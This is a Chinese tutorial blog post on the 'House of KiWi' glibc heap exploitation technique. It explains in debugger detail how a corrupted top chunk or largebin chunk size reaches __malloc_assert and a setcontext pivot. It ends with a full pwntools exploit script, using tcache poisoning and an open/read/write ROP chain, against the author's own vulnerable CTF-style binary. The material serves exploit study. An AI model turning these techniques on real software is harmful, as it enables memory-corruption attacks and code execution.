House of KiWi

文章发布时间:

最后更新时间:

文章总字数:
2.6k

预计阅读时间:
11 分钟

一种基于setcontext来在开启沙盒的堆题中实现orw的利用链

对于libc2.29以后的版本 setcontext控制rsp寄存器的值由rdi寄存器转化为了rdx寄存器

相比之很容易控制的rdi寄存器 rdx寄存器要想修改为我们预期的值 还是比较麻烦的

我们之前有提到的一种办法是利用libc文件中可以借rdi寄存器来控制rdx寄存器 但是今天这条链可以直接控制rdx寄存器

下面就来学习一下

实现逻辑分析

整条链的实现逻辑主要是基于fflush(stderr)这个函数的调用

image-20230418222309660

函数的内部调用了_IO_file_sync函数 并且其rdx寄存器的值恒为 _IO_helper_jumps
由图上我们很容易能看出IO_file_sync函数的调用是基于rbp寄存器的寻址 而rbp寄存器的值恒为IO_file_jumps 所以如果我们能够修改其地址+0x60处为setcontext 即可 并且rdx寄存器此时的值也被我们熟知 如果我们修改其+0xa0和0xa8处为相对的地址 就可以达到劫持程序执行流的目的(setcontext部分的知识本文不会重复介绍)

问题在于如何调用到fllush函数

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

assert是一个断言函数 实际作用和if差不多 起到判断的作用 通过调用assert函数可以涉及到__malloc_assert函数的调用

所以此时我们的目标转化为调用assert函数

一共有两种办法 一种是基于top chunk 一种是基于largebin chunk

通过top chunk

先来讲前者

我们知道 对于小于阈值的chunk 如果bin中没有合适的chunk 就会从top chunk中分割来分配

如果申请的chunk大小比top chunk大呢 这种情况top chunk就会调用sysmalloc函数

在这个函数中 存在着对于assert的调用

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

我们来进行源码调试 这样可以更好的理解这个判断式

image-20230419130716458

转化为汇编形式 实际上就是对应着这四个判断 只有成功跳转到sysmalloc+1829 <sysmalloc+1829> 才能够触发__malloc_assert函数

首先第一个cmp判断 对比r14寄存器的值和rsp+8处的内容

image-20230419131030362

显然前者小于后者 并且这个判断式是固然的 不会因为用户的操作而改变(常规情况下)

此时ZF标志位为0 jnz跳转

第二个cmp判断 对比r12寄存器和0x1f 这里的0x1f实际上也就是最小chunk大小-1 用来判断top chunk剩余的size还够不够组成一个chunk

此时r12寄存器的值为

image-20230419131511589

这个值其实不是固定的 还得根据你覆盖top chunk的size来决定 比如此时我覆盖top chunk的size就是0x100

如果我们此时就覆盖top chunk的size小于0x1f 那么CF标志位就会被设置为1

jbe就会跳转 不过这样就看不到第三个判断式了 所以我并未选择在此处跳转 我们来看一下第三个判断

利用test指令将al寄存器与1进行与运算 如果al寄存器的值为1 那么与运算的结果为1 ZF寄存器为0

此时je也不会跳转 al寄存器是ax寄存器的低8位 而ax寄存器是eax寄存器的低16位 eax寄存器是rax寄存器的低32位

所以此时al寄存器的值差不多就是size域的Inuse位吧 差不多可以这么理解 这里其实Inuse位设置为0就能跳转了 但是同上对吧 我还需要演示第四个判断

首先是利用lea 赋值r13-1给rax

随后test 把r11和rax进行与运算

image-20230419133413922

image-20230419133512510

这里的rax固定是0x1000-1 0x1000是一页的大小 r11则为top chunk的首地址

其实这里的与运算结果是必定不为0的 ZF标志位为0 jne跳转

上面的四个判断 总结下来 其实只要我们覆盖top chunk的size域 使其大小不足以分配我们申请的大chunk即可 就能进入__malloc_assert函数 不需要像网上其他教程所说的一定要修改Inuse位

通过largebin chunk

1
2
3
4
5
6
7
8
9
10
11
12
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));

主要是通过这段源码中的assert函数 触发的条件是释放一个chunk到largebin中

并且对应链表中已经存在一个chunk 还是来源码调试 看一看需要满足什么样的判断才能进入__malloc_assert函数

image-20230419170217019

将r12+8赋值给rax 此时r12的值为链表中已经存在的chunk的首地址 +8处则为size域

接着将al寄存器和4进行与运算

此时al寄存器的值为size域的最后一个字节 此时我的值为0x25

这里可能存在疑问 为什么是5结尾 常规的chunk不是根据Inuse位有所不同吗 但也仅仅只是0和1

这里是因为要想和4进行与运算后 ZF标志位为0 使得jnz能够跳转 就需要相应的倒数第三位值为1 才能满足条件

而倒数第三位为1也就是增加了4 所以此时在0x21的基础上需要加上4 也就得到了0x25

随后就可以成功跳转 执行__malloc_assert函数 所以通过largebin bin来执行malloc_assert函数的关键在于修改链表中的chunk的size域倒数第三位为1

实际利用

下面演示的程序由本人自己编写 存在许多明显漏洞 包括但不限于UAF 堆溢出 其他比赛题目需要根据真实情况作修改 下文不做模板使用

演示虚拟机:ubuntu22.04 使用的libc版本为libc2.32

首先 获取要用到的一些地址 libc由我程序自带的漏洞函数泄露

1
2
3
4
5
6
7
8
9
10
11
12
libc_addr = get_libc()
setcontext_addr = libc_addr + 0x5306D
IO_helper_jumps = libc_addr + 0x1e48c0
IO_file_jumps = libc_addr + 0x1e54c0
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
rdi_addr = libc_addr + next(libc.search(asm('pop rdi;ret;')))
rsi_addr = libc_addr + next(libc.search(asm('pop rsi;ret;')))
rdx_r12_addr = libc_addr + 0x0000000000114161
ret_addr = 0x000000000040101a
success(hex(rdi_addr))

接着 按照上面所说的 我们需要利用fllush函数中涉及到的call qword ptr [rbp+0x60]

而rbp的值默认为IO_file_jumps 所以只需要利用任意写修改IO_file_jumps+0x60处为想要调用的地址 这里也就是setcontext+61

我采用的办法是tcache attack 不过由于libc2.32新增了fd异或 所以需要先泄露堆地址

1
2
3
4
5
6
7
8
9
10
11
12
add(0x10)#0
add(0x10)#1
delete(0)
show(0)
io.recv()
key = u64(io.recvuntil("\n",drop = True).ljust(8,b'\x00'))
success("key :"+hex(key))
delete(1)
edit(1,8,p64((IO_file_jumps+0x60)^key))
add(0x10)#2
add(0x10)#3
edit(3,8,p64(setcontext_addr))

其次是设定rdx+0xa0和0xa8处为我们想要的数据 以此来控制rsp寄存器和最后ret返回的地址

默认开启了沙盒 所以此时我们构造的rop链采用orw的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x20)#4
add(0x20)#5
delete(4)
delete(5)
edit(5,8,p64((IO_helper_jumps+0xa0)^key))
add(0x20)#6
add(0x20)#7
edit(6,8,b'./flag\x00\x00')
flag_addr = key*0x1000 + 0x310
success(hex(flag_addr))

payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(elf.bss(0x500))+p64(rdx_r12_addr)+p64(0x100)+p64(0)+p64(read_addr)
payload += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(elf.bss(0x500))+p64(rdx_r12_addr)+p64(0x100)+p64(0)+p64(write_addr)
add(0x100)#8
edit(8,len(payload),payload)
chunk8_addr = key*0x1000+0x340
edit(7,0x10,p64(chunk8_addr)+p64(ret_addr))

最后就是通过修改修改largebin chunk的size域 以及来触发__malloc_assert函数

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x10)#9
add(0x410)#10
add(0x10)#11
delete(10)
add(0x420)#12
add(0x420)#13
delete(12)
payload = cyclic(0x18)+p64(0x425)
edit(9,len(payload),payload)
gdb.attach(io,'b *0x4013EF')
pause(0)
add(0x430)#14
pause()

如果采用的是修改top chunk的size域 使其不够分配chunk 进入sysmalloc函数 则为

1
2
3
4
5
6
7
add(0x10)#9
payload = cyclic(0x18)+p64(0x101)
edit(9,len(payload),payload)
gdb.attach(io,'b *0x4013EF')
pause(0)
add(0x1000)
pause()

完整esp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import*
io = process("./heap")
elf = ELF("./heap")
libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")

context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
def debug():
gdb.attach(io)
pause()

def add(size):
io.recvuntil(">")
io.sendline(b'1')
io.recvuntil("You can customize the size of chunk, but what about your life")
io.sendline(str(size))

def delete(index):
io.recvuntil(">")
io.sendline(b'2')
io.recvuntil("I didn't set the pointer to zero, just like some things can't be repeated")
io.sendline(str(index))

def edit(index,size,payload):
io.recvuntil(">")
io.sendline(b'3')
io.recvuntil("It's never too late to start again. What do you regret?")
io.sendline(str(index))
io.recvuntil("You all know that there can be overflows here, so why do you set limits on your life?")
io.sendline(str(size))
io.recvuntil("Come back!")
io.send(payload)

def show(index):
io.recvuntil(">")
io.sendline(b'4')
io.recvuntil("You can't live a perfect life without making any effort")
io.sendline(str(index))

def get_libc():
io.recvuntil(">")
io.sendline(b'5')
io.recv()
libc_addr = int(io.recv(14),16) - libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
return libc_addr

libc_addr = get_libc()
setcontext_addr = libc_addr + 0x5306D
IO_helper_jumps = libc_addr + 0x1e48c0
IO_file_jumps = libc_addr + 0x1e54c0
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
rdi_addr = libc_addr + next(libc.search(asm('pop rdi;ret;')))
rsi_addr = libc_addr + next(libc.search(asm('pop rsi;ret;')))
rdx_r12_addr = libc_addr + 0x0000000000114161
ret_addr = 0x000000000040101a
success(hex(rdi_addr))


add(0x10)#0
add(0x10)#1
delete(0)
show(0)
io.recv()
key = u64(io.recvuntil("\n",drop = True).ljust(8,b'\x00'))
success("key :"+hex(key))
delete(1)
edit(1,8,p64((IO_file_jumps+0x60)^key))
add(0x10)#2
add(0x10)#3
edit(3,8,p64(setcontext_addr))
add(0x20)#4
add(0x20)#5
delete(4)
delete(5)
edit(5,8,p64((IO_helper_jumps+0xa0)^key))
add(0x20)#6
add(0x20)#7
edit(6,8,b'./flag\x00\x00')
flag_addr = key*0x1000 + 0x310
success(hex(flag_addr))

payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(elf.bss(0x500))+p64(rdx_r12_addr)+p64(0x100)+p64(0)+p64(read_addr)
payload += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(elf.bss(0x500))+p64(rdx_r12_addr)+p64(0x100)+p64(0)+p64(write_addr)
add(0x100)#8
edit(8,len(payload),payload)
chunk8_addr = key*0x1000+0x340
edit(7,0x10,p64(chunk8_addr)+p64(ret_addr))

# add(0x10)#9
# payload = cyclic(0x18)+p64(0x101)
# edit(9,len(payload),payload)
# gdb.attach(io,'b *0x4013EF')
# pause(0)
# add(0x1000)
# pause()


add(0x10)#9
add(0x410)#10
add(0x10)#11
delete(10)
add(0x420)#12
add(0x420)#13
delete(12)
payload = cyclic(0x18)+p64(0x425)
edit(9,len(payload),payload)
gdb.attach(io,'b *0x4013EF')
pause(0)
add(0x430)#14
pause()